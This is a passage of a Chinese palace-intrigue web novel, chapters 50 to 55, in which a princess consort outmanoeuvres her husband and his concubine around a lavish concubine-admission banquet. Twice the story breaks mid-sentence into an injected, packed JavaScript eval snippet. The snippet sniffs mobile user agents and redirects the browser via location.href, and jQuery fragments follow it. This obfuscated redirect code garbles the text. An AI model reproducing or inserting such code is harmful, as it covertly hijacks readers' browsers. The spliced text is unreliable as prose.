又体会了一次这位的喜怒无常,叶晚竹面上并未有所表露,客客气气地将人送出王府,带着那些刑具往宫中而去。 “姐姐……” 马车刚刚离开,几道呼唤忽然在一旁响了起来。 叶晚竹扭头一看,几个脏兮兮的小乞丐正躲在墙角,朝着王府这边探头探脑地看来。 见到叶晚竹,几个人都露出激动神色,只是再一看,似乎又并不是对着她? “王妃,”书画连忙道,“这就是奴婢方才找的小乞丐,说好了让他们来拿赏银的。” 没人帮忙传话,萧子景的“事迹”怎么能那么快就传遍京城? 叶晚竹招手让他们上前,给每人都分了一块大大的碎银子。 “去吧,继续传,最好让京中所有人都知道!” “是!” 第五十章 这王府,该热闹起来了 有这些小乞丐的努力,京中关于萧子景做过的好事便讨论得越发热烈,范围也越发被扩大了。 萧子景封王前,萧家本也是京城人士,虽然家境不显,但过去那些事情并不是没人记得。 都不用叶晚竹再出手,很快,当年萧家和阮家定下了娃娃亲,最后和萧子景成婚的人却是叶晚竹这件事便又被翻了出来。 先毁婚,多年后又回头,这算怎么回事? 饶是百姓们不知道具体情况,但对萧子景和阮莹莹的猜测,却很快就无限地逼近了真相。 狗男女! 不知廉耻! 可怜夹在其中的景平王妃,被逼得发了疯才换回一点公道! 流言蜚语在京中传了大半个月才渐渐止歇,到了这个时候,萧子景在众人口中的形象俨然已经是不堪入目了。 也就是这个时候,另一点流言的苗头悄然冒了起来。 景平王妃才是那个不安于室的,从来没对王府和萧家用过心! 别看景平王府瞧着家大业大,其实是个空架子,早就被景平王妃架空了! 她把钱财全都捏在自己手里,在府中作威作福多年,景平王回京后发现一切,这才要抬阮姑娘做平妻,好让府中恢复正常,王妃当然不愿意,便想出了这种阴损招数,釜底抽薪! 全京城的人,都被景平王妃骗了! —— “王妃,他们太过分了!” 潇湘院中,书画从外面回来便怒不可遏,气鼓鼓地找到叶晚竹,噼里啪啦地把如今京中又盛传起来的流言一股脑地倒了出来。 “肯定是王爷和阮姑娘干的!要不然就是大老爷那边!”她咬牙切齿地朝那两间院落各投去一道眼神。 圣上都下旨让这几位禁足反省了,怎么还不老实? 叶晚竹这会儿正在院中,靠在躺椅上晒着太阳,一晃一个月过去,春光正好,晒得她浑身都暖洋洋的。 她已经不知道多久没有好好地享受过阳光了。 “他们也就这一点狗急跳墙的手段了,急什么。” 拍了拍身边的软垫,让一脸不忿的书画也坐了下来,叶晚竹闭着双眼,语气甚是随便。 “让他们传,保不齐哪天又传到圣上耳中,看到时候是谁倒霉。” 王府的事情已经在圣上面前过了明路,就这样,有人还敢诬陷她。 萧子景亲眼见着圣上的态度,如果没被打成傻子,不应该再犯这个贱;而萧家大房向来只暗中给萧子景拱火,不会自己出面做这些事。 算来算去,最有可能的就是阮莹莹了。 春风居被扫荡一空,谢无咎连椅子都没给她留下几把;圣上更是一道口谕断绝了她的平妻梦。 阮莹莹这会儿对她大概已经恨得咬牙切齿了吧? 叶晚竹又无声地笑了笑。 她忙得很,本来想暂时放过阮莹莹,可是她不长眼,非要来挑衅自己! 那就别怪她不客气了! 眼珠一转,叶晚竹从躺椅上猛地坐起身来。 “不说这些倒胃口的事,”她看向书画,“蕴秀阁那边准备的怎么样了?” 自那日去见了曼娘,叶晚竹的胭脂水粉铺子便紧锣密鼓地筹备了起来。 宝琅斋的生意一日不如一日,亏了不少银子才终于盘了出去,叶晚竹又在京华街另一处热闹的地方买下了一块地方,前后建了两座三层高的小楼。 这一进一出,白花花的银子又是水一样流了出去。 饶是叶晚竹家底丰厚,看着账单也感觉肉疼。 好在南疆那边送来的战报已经好了起来,大梁军队高歌猛进,即将拿下南疆都城,一切与叶晚竹记忆中的情况并没有不同。 只要再等一段时日,铺子的资金便能回流了。 一边思忖,叶晚竹一边也没落下书画的汇报。 有曼娘这个经验丰富的掌柜坐镇,蕴秀阁里里外外自然是**持得十分妥帖。 铺子里也按照叶晚竹的想法重新收拾过,如今处处幽静雅致,只等叶晚竹一声令下,就能开张迎客了。 只是,还有一个问题—— “被那些流言影响,不少夫人小姐都对王妃有看法, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424084|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴婢今天在蕴秀阁待了一早上,那些人瞧着奴婢的时候,模样都怀疑的很!” 叹了口气,书画连肩膀都垂了下去。 蕴秀阁还没有开业,但已经大门敞开,好奇的客人来来往往多的是。 可等客人们看见曼娘,再打听到这是景平王妃的新铺子,那欲言又止,窃窃私语的模样却都如出一辙。 叶晚竹对此并不意外。 传言里她就是为了钱才对萧家人下手,如今萧子景刚一出事,她的铺子便红红火火地准备起来,正好印证了那流言的内容。 “无妨。” 伸了个懒腰,叶晚竹又低声笑了起来。 “很快就有人要知道,什么叫玩火**!” “蕴秀阁准备的差不多,这两天你便不用过去了,府里也要忙起来,宫中的批复已经下来,该准备给王爷纳妾了。” 叶晚竹将话锋一转。 昭德帝想用最快的速度处理萧子景纳妾一事,却没想到萧子景过分虚弱,受刑后在床上一趴就是大半个月,瞧着随时都是一副快不行了的模样。 叶晚竹用了不少好药才吊回萧子景这条烂命,又好不容易才让人恢复了个七七八八。 这期间,朝中也有不少人给萧子景上书求情,昭德帝权衡之下,终是将禁闭时间改为一月。 如今期限已过,也该将纳妾之事重新提上日程了。 说起这件事,书画眼中也闪着和叶晚竹同样的光芒,不见一丝阴霾。 自家王妃已经看透了王爷的冷心冷情,不会为之伤怀,书画只关心王妃,其他的,都和她无关! 只要王妃开心就行! “王爷纳了妾,阮姑娘就该对王妃行礼了。”书画咧着小嘴,忍不住低声发笑。 阮姑娘仗着王爷的宠爱,向来目中无人,从来不给自家王妃行礼! “行礼算什么?” 叶晚竹忽然压低声音,又朝着书画挑了挑眉。 “还有更好看的。” “这景平王府安静了一个多月,也差不多够了,是时候该热闹起来了!” 第五十一章 还钱吧王爷 有叶晚竹这话,书画对于将要发生的一切越发充满期待,干劲也越发地足。 叶晚竹挑了半个月后的一个好日子,准备大办一场热热闹闹的宴席。 寻常人家纳妾本不必如此隆重,可阮莹莹是萧子景的救命恩人,心尖上的姑娘,怎么能不办得热闹一些? 这样一来,叶晚竹的好戏才有观众。 命人将景平王府里里外外布置一新,又给京中有头有脸的人家都下了请帖,眼看着准备得差不多,叶晚竹这才抽了个空当,来到萧子景的默言阁。 圣上赐名之后,这院子倒是真如他老人家所言,变得十分安静。 萧子景侥幸捡回一条命,却仍是元气大伤,他本就不怎么参与王府中的事务,如今更是力不从心。 听见叶晚竹前来,萧子景艰难地从床上坐起身。 “哟,王爷恢复得不错,都能坐了。” 抬脚走进屋中,看着萧子景一身憔悴瘦弱的模样,叶晚竹挑了挑眉。 萧子景看着叶晚竹的眼神却变得有些复杂起来。 他的计划接连受挫,还被告到圣上面前,一顿板子差点儿要去了性命,再加上其后的游街,等等挫败羞辱,都是因为叶晚竹! 可让人给他涂药治伤,又费尽心思让人救他的人,也是叶晚竹! 萧子景感到自己越发看不懂了。 这个**到底要干什么? 究竟是想让他死,还是想让他活? “看王爷的情况,再过几日便能站起来了吧?” 萧子景心里是怎么想的,叶晚竹一点儿也不在意,她坐在桌边,双眼朝守在屋中的两个大夫看去。 这两人是隐风当时找回来的大夫,叶晚竹在京中从来没有听过他们的名号。 可这两位的医术却十分高超,治伤的手法也甚是熟练,不由得让叶晚竹又想到了谢无咎。 那日从景平王府离开后,谢无咎便有急事离开了京城,至今也不曾归来。 “回王妃的话,正是。” 两个大夫的声音让叶晚竹回了神,她点点头,再看向萧子景的时候,面上的笑容变得越发灿烂起来。 “那就好,看来莹莹妹妹的入府宴,王爷可以照常出席了。” 萧子景闻言忍不住瞪大了双眼,有些怀疑自己的耳朵是不是出了什么问题。 “什,什么入府宴?本王要出席什么?”他错愕地道。 “当然是纳妹妹为妾。” 叶晚竹抿了一口杯中的茶水,看着萧子景一脸震惊的模样,自己也露出几分奇怪。 “怎么,难道王爷还打算反悔?” “本王——” 一句话刚出口,萧子景这才想起昭德帝的“提醒”,顿时忿忿地将后半句话囫囵吞了回去。 圣上让他纳阮莹莹为妾,他敢说什么? 若是从前,或许萧子景还真会试着和昭德帝诉诉苦,可那二十廷杖的痛还没过去,萧子景实在是鼓不起勇气。 叶晚竹斜晲着他犹豫难受的模样,在心里无声地冷笑。 无论再发生任何事情,萧子景都还是这样一个胆小软弱的人罢了。 嘴上说的好听,要与阮莹莹海誓山盟。 实际上呢? 收回目光,懒得再打量萧子景,叶晚竹话锋一转,便说起了入府宴的各项安排。 萧子景听着听着,神情越发错愕。 他本以为叶晚竹一定会草草了事,谁承想,随着她的讲述,这竟然还是一场热闹盛大的宴席? 这又是怎么一回事? “你真打算如此?” 待叶晚竹说完话,萧子景便迫不及待地张了口。 想当初他带着阮莹莹回府,叶晚竹可是当众发疯,让所有人都看了景平王府的笑话。 难道她又想故技重施? 萧子景看向叶晚竹的目光顿时变得怀疑起来。 “你若还想让莹莹出丑,本王劝你最好现在就**这条心!”他奋力直起身子。 “王爷这是在说什么话呢?” 叶晚竹挤出一个假笑,“有圣上发话,妾身就是再大胆,也不至于连圣意都敢忤逆。” 萧子景听着这话便感觉 叶晚竹是在拐弯抹角地嘲讽他! “你——” “宴席的事情我还要和王爷仔细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424085|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商讨,你们都先下去吧。” 萧子景想拍案而起,叶晚竹却视而不见,不仅如此,她还挥了挥手,让所有下人都离开屋子。 书画和两个大夫闻言立刻照办,冬生还想犹豫,隐川大步上前,一把扯过他的胳膊便将人拖走。 “放肆,放肆!” 眼睁睁看着隐川的动作,萧子景气得浑身发抖,朝正在合拢的房门大喊着。 无奈没人理会他,房门一关,萧子景回过神,便看到叶晚竹已经站在了自己面前。 “你,你要干什么?” 无数惨痛的记忆袭来,萧子景本能地往后退却,等反应过来,脸色又变得极其难看。 叶晚竹笑眯眯地弯下腰,手掌张开,上面放着的东西顿时吸引了萧子景的全部注意力。 金子! 金灿灿的元宝! 萧子景下意识地便想伸手。 景平王府没有银子,他的俸禄又被叶晚竹拿去,再加上自己受了伤,萧子景的兜早已经比脸还要干净! 王府每况愈下,他已经不知道多长时间没见过金子了! 萧子景的手刚伸出去,叶晚竹便适时后退,手掌一翻,又将金子团回掌心。 “王爷想要这个?”她看着萧子景失落的模样,明知故问道。 萧子景皱起眉,“你又想干什么?” 这金子再好,也是叶晚竹拿来的,看她这副模样,准没好事! “不是要说宴席吗?有什么事,你赶快说!”想到这儿,萧子景扭过头,不再朝着叶晚竹的手看。 叶晚竹迎上他忽然变得警惕的目光,仍是笑容满面。 “宴席之事稍后再说,在这之前,王爷倒是要先想想,救你这条命,我到底花了多少钱?” 萧子景的目光不由得变得僵硬游移。 那些名贵的止血药和补药,每样都价值不菲…… “一锭金子。” 叶晚竹晃了晃自己的拳头。 “王爷的性命如今至少价值一锭金,既然您已经清醒过来,那就还钱吧?” 萧子景猛地攥紧了拳头。 他就知道没好事! 第五十二章 替我办事,免你还钱 还钱? 他浑身上下还能找得出一个铜板吗? 就连春风居里的那些能拿去典当的宝贝都被谢无咎送到了叶晚竹房中,萧子景这会儿想来想去,除非把王府卖了,否则,他真的没钱! “你故意的是不是?” 涨红了脸色,萧子景又冲着叶晚竹低吼起来。 “本王就知道,你不安好心!” 什么大夫!什么药!怎么这么贵! 叶晚竹一耸肩,“王爷的意思是,不想要这条命了?” “你——” 萧子景闻言一哽,胸口仿佛被一块大石头死死压住,用力锤了好几下才缓过那口气来。 “本王没银子,你自己看着办!” 悻悻地哼了一声,萧子景索性破罐子破摔起来。 反正已经到了这个地步,他身上一点银子都没有,有本事,叶晚竹就杀了他好了! 他倒要看看,这贱妇是不是真的已经疯到这种地步! 再说,叶晚竹要是真杀了他,这些花去的银子才真算是打了水漂! 看着萧子景写在脸上的盘算,叶晚竹也不恼。 “哦——”她拖长了音调,“那可就坏了,妾身手里这会儿也没有现银,妹妹的入府宴,恐怕要办不成了。” 萧子景冷笑一声,“不办就不办!你以为莹莹跟你一样,是满身铜臭气的俗人不成?” 莹莹最是通情达理,善解人意了,王府的情况这样紧张,她又不是不知道,定然不会说什么。 大不了,等日后除去叶晚竹这个贱人,他再给阮莹莹补一场更加豪华的入府宴。 不,是婚宴! 如此想着,萧子景的态度越发坚定。 “入府宴就不办了!” 叶晚竹就知道他会如此。 “此事我已经上书宫中,圣上传话下来,当天会派人前来观礼。” 抱起双臂,叶晚竹看着萧子景的目光满是戏谑。 “王爷若是要取消宴会,那就自己去和圣上说吧。” 萧子景的胸膛又剧烈地起伏了起来。 这怎么行? 圣上肯定会以为是他对纳妾一事不满! 可办宴席没有银子定然是不行的…… “你怎么会没有钱?”萧子景忽然看向叶晚竹,“这不是你的金子吗!” 他指着叶晚竹背在身后的那只手。 叶晚竹莞尔一笑,“王爷怎么才反应过来?” 她在耍着他玩! 萧子景气得眼睛通红,浑身上下不住地哆嗦着。 这个贱人! “我是有钱,可王爷纳妾,凭什么花我的银子?”叶晚竹眯了眯眼,“旁的不说,我那铺子欠的银子,王爷还没还清呢!” “一场宴席下来花费不会少,只凭王爷的俸禄,什么时候才能还的上?万一王爷是个短命鬼,我岂不是白白亏钱?” 萧子景眼前发黑,喉头也溢出了血腥味。 叶晚竹这个贱人,这是要在他身上敲骨吸髓! 可萧子景还是死死咬着嘴唇忍耐了下来。 “你再帮本王一次,”他极力放低姿态,“等本王养好了伤,就去想办法筹银子还给你!” 圣上还等着看这场纳妾礼,他必须先把这一关度过去! “王爷打算想什么办法?” 叶晚竹却并不急着松口,“是替人拉车还是护镖?” 这都是萧子景还当破落户时的求生办法,闻言,他脸上青一块红一块,神情煞是精彩。 “我自有办法!” 不敢骂人又气不过,萧子景憋得嘴唇都泛了紫,才硬邦邦地挤出一句话。 “我倒是也有个办法。” 叶晚竹已经坐回了桌边,将那锭金子又拿了出来,稳稳地放在萧子景眼前。 “只要王爷答应我一件事,事成之后,不光给你看病和操办宴席的花费全免,这锭金子也是王爷的,怎么样?” —— 十日后。 景平王府的门庭已经冷落了许久,今日终于又热闹起来,只是这原因说起来却让人摸不着头脑。 景平王妃做主,为王爷纳妾举办了这样一场盛大的宴席。 这是要做什么? 众人议论纷纷,更是好奇得很,前来王府赴宴的人便也是络绎不绝。 等众人到了王府,门前院中张灯结彩,景平王妃更是笑容满面,亲自站在花厅前与宾客们应酬着。 不少夫人都不着痕迹地朝这位王妃看去,目光各异。 京中那些流言,她们可都还记着呢。 若景平王妃真的贪墨王府的银子,又设计暗害王爷一家,今日为何又要设下如此热闹的宴席? 这位王妃究竟是怎么想的? “哼,不过是一点小事,却闹得如此兴师动众,我看啊,就是故意作秀演戏!” 叶晚竹正站在廊下和一众夫人小姐们说着话,一阵阴阳怪气的感慨忽然飘入耳中。 她转过头,是个身量不高,略显丰腴的妇人。 “王妃看我做什么?妾身可没说是你啊。” 见叶晚竹看来,那夫人连忙用帕子遮了嘴角的弧度,却藏不住一双冷嘲热讽的眼睛。 “有些人总把别人当傻子,妾身看不惯,仗义执言罢了。”她又多说了一句。 叶晚竹盯着这位多看了几眼才想起她的身份。 户部侍郎的夫人郭氏。 “郭夫人这么看不惯的人,是谁?”她不冷不热地斜晲过去,“今日是王府的好日子,断不能让老鼠屎坏了兴致,郭夫人尽管开口,本王妃一定处理。” 一边说着话,叶晚竹的目光一边落在正和自己打招呼的那位夫人身上。 “我……” 没想到叶晚竹如此直接,郭夫人的脸色瞬间涨的通红。 “没谁!王妃莫要当众挑拨离间!”她忿忿地道。 京中有头有脸的人家,哪个不是抬头不见低头见? 被叶晚竹这么一说,她日后还怎么出门交际? “郭夫人好生奇怪。” 叶晚竹的语气变冷下去,“莫名其妙阴阳怪气的人,竟然觉得别人挑拨离间?难道方才那话是我说的?” 郭夫人这下更是气得牙关打颤,“你——” “既然夫人不说是谁,本王妃就当你是无故发疯乱咬了。” 不再给这位说话的余地,叶晚竹一摆手。 “隐风,就这一颗老鼠屎,给本王妃清理出去,莫要臭了大好的宴席!” 第五十三章 热热闹闹的纳妾礼 隐风闻声而动,二话不说便架起一脸茫然的郭夫人往大门外走去。 郭夫人还没有反应过来,人已经被丢到街上,险些一屁股坐倒在地。 岂有此理! 瞪大了双眼刚要叫嚷,郭夫人便对上了一双冷冰冰,没有任何情绪的眼睛。 不用隐风开口,他一身的煞气便让郭夫人惊惧万分地闭上了嘴。 这是哪里来的侍卫? 瞧着怎么这么不好惹? “滚。” 板着脸,隐风一开口,更加猛烈的杀气顿时外泄出来。 郭夫人打了个哆嗦,转头踉踉跄跄地朝自家马车狂奔而去! 王府花厅前,众夫人眼睁睁地看着郭夫人被拖走,那一个两个想讨论京中流言的心思都熄灭下去。 谁还想再当众出丑? “各位,进来说话吧。” 叶晚竹面上倒仍是笑意盈盈,仿佛刚才的一切都没有发生似的。 她这般开口,夫人们不敢不从,悄无声息地跟着叶晚竹进了花厅。 花厅中张灯结彩,萧子景穿了身崭新的绛色袍子,正襟危坐在主位上。 见着叶晚竹现身,他下意识地挺直了后背。 “王爷,我有些渴了。” 让下人引着夫人们就坐,叶晚竹不紧不慢地朝主位另一边走去。 “给我倒杯茶,不要太热。” 一众夫人还没坐下,听着这使唤下人一般的语气,都忍不住悄悄移过视线。 当着这么多人的面儿,景平王妃怎么对自家夫君如此不客气? 可夫人们很快便又瞪大了双眼。 只见景平王低垂着脑袋,无比顺从地从桌上拎起茶壶,倒了水,又亲手送到王妃面前。 叶晚竹端起杯子抿了一口,立刻皱起眉头,“太烫。” 萧子景放下手里的茶壶,转而拎起另一把,往杯中添水。 “又太凉了。”叶晚竹咚地一声将杯子放下。 萧子景攥着茶壶握把的手顿时紧了紧。 那日他为了金子,不得不答应叶晚竹的要求,正是在纳妾这天要对她言听计从! 叶晚竹这个要求一听就是有心要羞辱萧子景,可看在里外两锭金子的份儿上,他还是答应了! 大丈夫能屈能伸,等他缓过这口气,杀了叶晚竹,便再也没人会提起此事! “……我重新倒。” 深吸一口气,萧子景伸手重新去拿杯子。 “王爷,王妃,吉时已到,请阮姨娘进来吧?” 就在这时,书画小跑着进来了。 萧子景的动作一顿,叶晚竹倒是又笑了起来。 “让姨娘进来吧。” 她声音不高不低,正好能让整个花厅的宾客都听得一清二楚。 本就安静的屋子变得越发沉默。 夫人们观多了娶妻的礼,可大张旗鼓地纳妾,这还是京城头一回,众人瞧着都有些无所适从。 几十双眼睛直勾勾地盯着花厅之外,片刻之后,一身华服的阮莹莹脚步僵硬地出现在门前。 这场宴席虽然声势浩大,可内容却没什么变化,不须迎亲拜堂,只要阮莹莹这个姨娘给当家主母磕头敬茶就行。 一步一步走向稳坐主位的叶晚竹,阮莹莹温顺地垂着目光,双手却死死地攥成拳头,连疼痛都仿佛感觉不到。 一个妾室之位! 她费尽心思爬上萧子景的床,为的难道就是当一个妾? 消息传到春风居之后,阮莹莹也去找过萧子景,可无论她怎么哭求,都没能改变这个结果! 唯有萧子景的安慰能给她一点盼头。 “莹莹,让你受委屈了,不过哪怕是做妾,你在王府也有了正经身份;你再忍忍,等本王想办法解决了那个贱人,马上就把你扶正!” “那贱人已经狂得不知所以,本王相信,很快就能动手!” 想到萧子景终究是向着自己的,阮莹莹按下不忿的心绪,楚楚可怜地抬起头。 “妾身给王妃敬茶。” 双膝一曲,阮莹莹刚要跪倒在叶晚竹面前,身子便忽然一个趔趄! 叶晚竹伸手一推。 “妹妹的规矩是怎么学的?不拜王爷却先来拜我,是对谁不满?”她挑了挑眉。 阮莹莹险些摔倒,长长的裙摆凌乱散落,好不狼狈。 她心下恼怒,面上却越发委屈而不知所措。 “是书画姑娘——” 似乎是下意识地脱口而出,又恰好在说出书画的名字后急急住了口。 阮莹莹贝齿咬着红唇,顿时越发惊慌,忙不迭地重新在萧子景面前的软垫上又跪了下去。 “是妾身粗心大意,与旁人无关!”她欲盖弥彰道。 书画气得瞪圆了双眼。 她从来没去过春风居! “啪!” 叶晚竹俯下身,在众目睽睽之下,一个响亮的耳光扇上了阮莹莹的脸! “敢诬陷我的丫鬟,阮姨娘,你有几个胆子?”她沉下脸,再看不见一丝笑意。 阮莹莹捂着脸摔倒在地,本能地惊呼一声,却又立刻爬起身,跪在叶晚竹面前咣咣地磕起头来。 “都是妾身胡言乱语,请王妃饶恕妾身吧,妾身再也不敢了!” 她哭得梨花带雨,看向叶晚竹的眼神更是惊惧无比。 这副样子落在不知情的任何人眼中,只怕都会觉得叶晚竹没少苛待阮莹莹。 低低的议论声再一次在屋中蔓延开来。 阮莹莹伤心落泪,垂着的眼眸却闪过一丝毒辣。 不枉她用春风居里最后一点银钱在京中散播流言,终于有了成效! 叶晚竹这个贱人,等着被唾沫星子淹死吧! 连一个姨娘都这样为难,可见有多不能容人! 叶晚竹静静地看了阮莹莹片刻,眼神十分慑人。 就在众人再一次顶不住这样的压力静默下来,以为她随时会再次暴起出手的时候,叶晚竹忽然眼风一转,朝萧子景看了过去。 “阮姨娘是王爷的人,今日又是这样的大好日子,本王妃还是不出这个风头了,王爷教训吧。” 她抬手一指阮莹莹,又给了萧子景一个眼神。 上吧,王爷? 萧子景面色铁青,为难的目光在叶晚竹和阮莹莹身上来回打着转。 他能不能不动手? 接收到萧子景的目光,叶晚竹摊开的掌心轻轻掂了掂。 不听话,那可就要还钱了哦。 “啪——” 第五十四章 景平王痛打阮姨娘? 萧子景一巴掌拍在桌子上。 “阮姨娘,”他极力绷着脸,“大好的日子,你这样哭哭啼啼的做什么?还不赶紧起来,莫要让这么多客人看了笑话!” 阮莹莹怎么也没想到萧子景竟然会当众训斥她,哭声下意识地一停。 她抬起头,难以置信地朝萧子景看去。 萧子景亦是眉头紧皱,低语道,“快起来!” 若不是叶晚竹这个贱人,拿捏了王府的银钱,他怎么会如此? “王爷待阮姨娘还真是不一般。” 萧子景眼底杀意翻涌,却明显不是冲着阮莹莹而去,叶晚竹坐在一旁看着,施施然笑了起来。 “妾身从前有什么不妥当的地方,王爷可是喊打喊杀,怎么今日就像换了个人似的,这么好说话?” 萧子景闻言立刻晦暗地瞪了过来,眼底满是警告。 适可而止! 叶晚竹不怒反笑,神情越发嚣张。 她偏不! “阮姨娘随便诬陷别人也不是一天两天了,如此屡教不改,原来背后是王爷在撑腰啊?” 叶晚竹缓缓站起身,“既然如此——” 她一双眼看向书画,书画立刻会意,转头就往墙边去。 一个细长的匣子放在墙角,不用想也知道是什么。 “这人,是我来教,还是王爷来?”叶晚竹又看向了萧子景。 萧子景死死攥着拳头,片刻后一脚将阮莹莹踢翻在地! “啊!” 惊叫声从四处传来,萧子景整个人都在发着抖。 他也不想这样的! 可为了金子,只能暂时忍忍了! 等度过难关,他一定把这世间所有的好东西都捧到阮莹莹面前补偿! 莹莹这么爱他,帮他一次,肯定没问题的! 她是他认定的妻,就该同甘共苦! 一边想着,萧子景一边又朝着阮莹莹身上补了几脚! “父王,你这是干什么啊!” 他忽然暴起动手,花厅中的人都愣住了,萧延第一个反应过来,扑上去抱住萧子景的腿。 “父王别打了,这可是姨娘啊!” 父王平时对姨娘最好,怎么会忽然当众打人呢? 萧延又猛地看向叶晚竹,“你快让父王住手!不许你欺负姨娘!” “延儿年纪小不懂事,阮姨娘就是这样教导他的?”叶晚竹稳稳坐在一旁,“姨娘的功力比本王妃想的深厚多了。” 众人的眼神顿时又变得有些怪异。 “延儿,退下!” 萧子景眉头紧皱,抬腿把萧延甩到了一旁。 他早点让叶晚竹满意,今天这场闹剧便能早点结束。 这个时候,萧延来拱什么火! “大人的事情,你莫要多话!”萧子景的语气比眼神更加难看。 萧延跌跌撞撞地后退两步,咚地一屁股坐倒在地, 看着双眼猩红,气喘吁吁的父王,他小嘴一张,忍不住呜咽起来。 娘亲是个贱人也就算了,反正他不喜欢娘亲,可父王怎么会忽然变成这样? 那姨娘怎么办啊…… 萧延泪眼朦胧地朝着阮莹莹看去。 阮莹莹倒在地上,听着耳边的声音,整个人都陷入了巨大的不真实之中。 萧子景踢来的力度并不重,几乎没让她感到任何疼痛,从第一脚开始,她便知道这不是他的本意。 可这才让阮莹莹浑身发凉。 好端端的,萧子景为什么要假装踢她? 为了让叶晚竹满意,是不是? 只是为了这样,就要她在众目睽睽之下遭到如此羞辱! 难道萧子景说的那些话都是骗她的不成? 又急又慌又气,阮莹莹双眼一翻,晕了过去。 她本就躺在地上不发一言,萧子景又踢了几脚才感觉不对劲,弯腰一看,顿时慌乱起来。 “快,快去请大夫!” 一边朝着冬生大吼,萧子景一边弯下腰去。 “隐川,”叶晚竹凉凉地道,“你去瞧瞧阮姨娘,别让大夫白跑一趟。” 这叫什么话! 萧子景忍得全身僵硬,却还是后退半步,默默地站起身来。 金子,金子! 咀嚼着这两个字,萧子景恨不得把满口牙都咬个粉碎。 隐川大步上前,伸手狠狠在阮莹莹人中上一摁! 倒吸一口冷气,阮莹莹猛地睁开双眼,疼得脸色惨白,连一点儿声音都发不出来。 “醒了?”叶晚竹含笑看去,“王爷教训得应该差不多了,那就继续行礼吧。” 闻言,书画和隐风连忙上前,一个倒茶,一个收拾残局,很快便让阮莹莹重新跪倒在萧子景面前。 萧子景被隐川按着坐在椅子上,脸色黑得吓人。 “王,王爷请喝茶……” 阮莹莹浑身打着哆嗦,这回不再是做戏,她泪水涟涟,哽咽着几乎说不出话。 萧子景牙关紧咬,一把夺过茶杯仰头灌下,却被烫得差点儿跳起来! 书画这该死的贱丫头! “这杯是敬王妃的!” 书画无视着萧子景投来的要吃人一般的目光,又倒了杯温度正好的茶水塞进阮莹莹手里。 奸夫淫妇,烫死你们! 阮莹莹又低着头给叶晚竹敬茶。 叶晚竹大方接过,一口喝下,从桌上拿起一个匣子,放在阮莹莹面前打开。 数十张破旧发黄的信纸。 “这是王爷从战场送回来的家书,我瞧了瞧,写的真是情意绵绵,让人感动不已。” “本王妃竟不知道,王爷给人写信,也能如此事无巨细,叮嘱妥当。” “这样的私人物品,妹妹还是自己收好吧。” 阮莹莹的脸色顿时变得惨白! 当年她选秀失败后,知道萧子景在战场上屡建奇功,便想办法给萧子景写信诉情,确认他不曾忘记自己,又远赴边关…… 那些信件后来都被她藏在春风居书柜的匣子里。 而那书柜连带着匣子,前阵子都被九千岁搬到叶晚竹屋里去了! 阮莹莹手脚发凉,背后也窜起阵阵冷气。 她怎么忘了还有这回事! 叶晚竹早就看见了这些脏东西,她冷笑一声,将匣子塞进阮莹莹怀中。 “如今终于入了府,阮姨娘也算是得偿所愿——” 话还没说完,一阵脚步声忽然从院外响起。 众人不由得也调转目光看了过去,而后又纷纷倒吸一口冷气! “本督有事来晚了些,不过,应该还没有错过观礼吧?” 第五十五章 再赐金杖,横扫谣言 笑吟吟的声音越靠越近,谢无咎一身玄袍,旁若无人地大步走进花厅之中。 伴随着他的动作,一阵淡淡的血腥气味也一并飘了进来。 这是刚刚在哪里动过大刑? 一众客人都不由得屏气凝神,大气也不敢喘。 “看来是赶上了。” 谢无咎似乎并不觉得这满屋宾客存在,他看了一眼跪坐在软垫上的阮莹莹,目光上移,很快落在叶晚竹身上,笑意加深几分。 昭德帝派来观礼的人,竟然是谢无咎? 叶晚竹微微皱了皱眉,心里总觉得有些怪异。 不过她还是很快站起身来,“给九千岁看座。” 这位本就身份尊贵,又奉圣意而来,自然要坐在上首。 谢无咎却一摆手。 “不必劳烦,本督传了圣上口谕就走,借王爷的椅子一用好了,权当沾沾喜气。” ……一个阉贼,今天能沾上什么喜气! 萧子景气得眼前发黑,却还得赔着笑站起身来。 霸占了萧子景的位置坐下,谢无咎没骨头似的往椅子里一靠,忽然又面露讶异。 “咦?今天不是阮姨娘入府的大好日子吗?你这样耷拉着脸是怎么回事?” 他疑惑地看着阮莹莹问道。 “怎么,不想进景平王府了?” 阮莹莹猛地一惊,方才的恍惚顿时跑了个无影无踪。 “没,没有!”她心惊胆战地低下头,躲避着九千岁的目光,又试着挤出一个笑脸。 这位九千岁,她再也不敢招惹了! “妾身只是——” “放肆。” 正绞尽脑汁要找个理由,阮莹莹的低语便被谢无咎冷声打断。 “没教养的东西,没有允许,谁准你在本督面前说话?” 谢无咎声音一厉,阮莹莹顿时哆嗦得更加厉害。 “没规没矩就进了王府,景平王妃的脸更要被你丢尽了!” 嫌恶地说着话,谢无咎状若不经意地朝站在一旁的萧子景看了一眼。 萧子景呼吸一窒。 这阉人什么意思? 说他给叶晚竹丢脸? 岂有此理! 到底是谁更丢人! 可还不等他有什么反应,谢无咎已经收回目光,朝着屋外拍了拍手。 “把东西拿进来吧。” 什么东西? 就连叶晚竹都好奇地抬头看去。 只见隐月双手捧着一个细长的匣子缓步走了进来,径直来到叶晚竹面前。 “此乃御赐之物,景平王妃,请打开看看吧?”谢无咎懒洋洋地介绍着。 